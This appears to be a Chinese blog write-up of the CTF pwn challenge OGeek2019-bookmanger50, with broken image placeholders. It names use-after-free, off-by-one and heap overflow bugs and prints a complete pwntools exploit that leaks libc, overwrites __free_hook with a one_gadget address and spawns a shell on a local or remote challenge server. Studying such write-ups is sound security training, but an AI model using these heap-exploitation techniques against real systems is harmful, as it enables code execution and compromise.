题目:OGeek2019-bookmanger50
保护
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gy2rHTym-1648199452615)(heap_overflow(OGeek2019-bookmanger50)].assets/image-20220325165315445.png)](https://i-blog.csdnimg.cn/blog_migrate/fd304c0a937f63734f9bdc5b206d9d29.png)
分析
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3JSoLvKg-1648199452615)(heap_overflow(OGeek2019-bookmanger50)].assets/image-20220325165412444.png)](https://i-blog.csdnimg.cn/blog_migrate/07bc4e0eaac61078f8f540eaf71222d4.png)
add_chapter
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-t8pet3Rl-1648199452616)(heap_overflow(OGeek2019-bookmanger50)].assets/image-20220325165433657.png)](https://i-blog.csdnimg.cn/blog_migrate/bb7ef9475fdf85f88c8bd1f5949a726f.png)
add_section
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gH9W4Fjc-1648199452616)(heap_overflow(OGeek2019-bookmanger50)].assets/image-20220325165452794.png)](https://i-blog.csdnimg.cn/blog_migrate/8072ae98d09150f1fda74369c4dffbac.png)
add_text
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qDGm54uz-1648199452617)(heap_overflow(OGeek2019-bookmanger50)].assets/image-20220325165505763.png)](https://i-blog.csdnimg.cn/blog_migrate/b0f57ff8c883d2a93608e0279f20ba20.png)
rm_chapter
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UNBUHGOV-1648199452617)(heap_overflow(OGeek2019-bookmanger50)].assets/image-20220325165516208.png)](https://i-blog.csdnimg.cn/blog_migrate/e8ceb259b5c373fdab17c9cbfbf8ee07.png)
rm_section
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-klJ9XTwO-1648199452617)(heap_overflow(OGeek2019-bookmanger50)].assets/image-20220325165525663.png)](https://i-blog.csdnimg.cn/blog_migrate/9e2df55815d710547224cda5a6bb2d23.png)
rm_text
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RyPG9r1R-1648199452618)(heap_overflow(OGeek2019-bookmanger50)].assets/image-20220325165536035.png)](https://i-blog.csdnimg.cn/blog_migrate/bb4ea5e1df195cc47bb444b7500b13a7.png)
show
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IjqoQXFC-1648199452618)(heap_overflow(OGeek2019-bookmanger50)].assets/image-20220325165557068.png)](https://i-blog.csdnimg.cn/blog_migrate/b067b644f4f689e3ccdee897998d93e1.png)
edit
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VPUjcfQP-1648199452619)(heap_overflow(OGeek2019-bookmanger50)].assets/image-20220325165609472.png)](https://i-blog.csdnimg.cn/blog_migrate/a81e2de2fb49a8c185237de897518eeb.png)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XNsdVjFY-1648199452619)(heap_overflow(OGeek2019-bookmanger50)].assets/image-20220325165614794.png)](https://i-blog.csdnimg.cn/blog_migrate/c4fcc7b1fa604d414fc932904aaa98bb.png)
思路
这题的漏洞非常多有uaf,off-by-one,堆溢出因为漏洞太多以至于给我整不会了,ida逆向时看起来挺复杂其实就是一个常规的简单堆题,我在做unsort bin泄漏libc时把堆空间整坏了,做题时我没注意到泄漏方式的问题导致我后面做的怀疑人生,导致花了非常多时间,其实这题非常简单,没有很多常规题的限制
整理出来大概堆空间如下:
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-384n83YG-1648199452619)(heap_overflow(OGeek2019-bookmanger50)].assets/image-20220325170056609.png)](https://i-blog.csdnimg.cn/blog_migrate/241132046060691f71308f73340da9e6.png)
且每个ptr都可以单独申请出来,且漏洞非常多,限制少,就导致这题做法特别灵活.
首先unseat bin泄漏libc
add('chapter','','0')
add('section','0','A')
add('text','A','B',0x90)
add('section','0','B') #0x40
dele('section','A') #uaf
add('text','B','B',0x90) #uaf
show()
ru('Text:')
ru('Text:')
leak = info(rc(6),'libc') #leak libc
libc.address = leak - (0x7ff30239eb42- 0x7ff301fda000) # 0x3c4b78
通过堆溢出即可完成写入one_gadget
edit('Text','B',b'A'*0x98 +p64(0x41)+ p64(0x41)+ p8(0)*0x18+ p64(libc.symbols['__free_hook']))
edit('Text','A',p64(one[1] + libc.address))
dele('chapter','0') #getshell
完整exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
#import sys
#context.terminal = ['terminator', '-x', 'sh', '-c']
#context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')
binary = "./OGeek2019-bookmanger50"
one = [0x45216,0x4526a,0xf02a4,0xf1147] #2.23(64)
#idx = int(sys.argv[1])
global p
local = 1
if local:
p = process(binary)
e = ELF(binary)
libc = e.libc
else:
p = remote("node4.buuoj.cn","29119")
e = ELF(binary)
libc = e.libc
#libc = ELF('./libc_32.so.6')
################################ Condfig ############################################
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
it = lambda :p.interactive()
def z(s='b main'):
gdb.attach(p,s)
def logs(mallocr,string='logs'):
if(isinstance(mallocr,int)):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,mallocr))
else:
print('\033[1;31;40m%20s-->%s\033[0m'%(string,mallocr))
def pa(s=1,t='step'):
log.success('pause : '+ t +'---> '+str(hex(s)))
pause()
def info(data,key='info',bit=64):
if(bit == 64):
leak = u64(data.ljust(8, b'\0'))
else:
leak = u32(data.ljust(4, b'\0'))
logs(leak,key)
return leak
################################ Function ############################################
def add(ty,i='',c='',t=0x10):
if ty=='chapter':
sla('choice:','1')
sa('name:',c)
elif ty=='section':
sla('choice:','2')
sa('into:',i)
sa('name:',c)
elif ty=='text':
sla('choice:','3')
sa('into:',i)
sa('write:',str(t))
sa('Text:',c)
def dele(ty,i):
if ty=='chapter':
sla('choice:','4')
sla('name:',str(i))
elif ty=='section':
sla('choice:','5')
sla('name:',str(i))
elif ty=='text':
sla('choice:','6')
sla('name:',str(i))
def show():
sla('choice:','7')
def edit(tr,s,n):
sla('choice:','8')
sla(':',tr)
sa('name:',s)
sa(':',n)
################################### Statr ############################################
def pwn():
sla('create:','root') #这里没啥用
add('chapter','','0')
add('section','0','A')
add('text','A','B',0x90)
add('section','0','B') #0x40
dele('section','A') #uaf
add('text','B','B',0x90) #uaf
show()
ru('Text:')
ru('Text:')
leak = info(rc(6),'libc') #leak libc
libc.address = leak - (0x7ff30239eb42- 0x7ff301fda000) # 0x3c4b78
edit('Text','B',b'A'*0x98 +p64(0x41)+ p64(0x41)+ p8(0)*0x18+ p64(libc.symbols['__free_hook']))
edit('Text','A',p64(one[1] + libc.address))
dele('chapter','0')
p.interactive()
################################### End ##############################################
pwn()
while 0:
try:
pwn()
break
except (KeyboardInterrupt [KeyboardInterrupt ]):
p.close()
#p = process(binary)
p = remote("node4.buuoj.cn","29728")
远程
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OxR1R3cf-1648199452620)(heap_overflow(OGeek2019-bookmanger50)].assets/image-20220325170658579.png)](https://i-blog.csdnimg.cn/blog_migrate/96783d860180dcdfe23477657f401d98.png)
本文分析了OGeek2019-bookmanger50中存在的多种漏洞,包括uaf、off-by-one及堆溢出等,并详细介绍了如何利用这些漏洞实现内存泄漏和one_gadget攻击,最终获取shell。
2015

被折叠的 条评论
为什么被折叠?



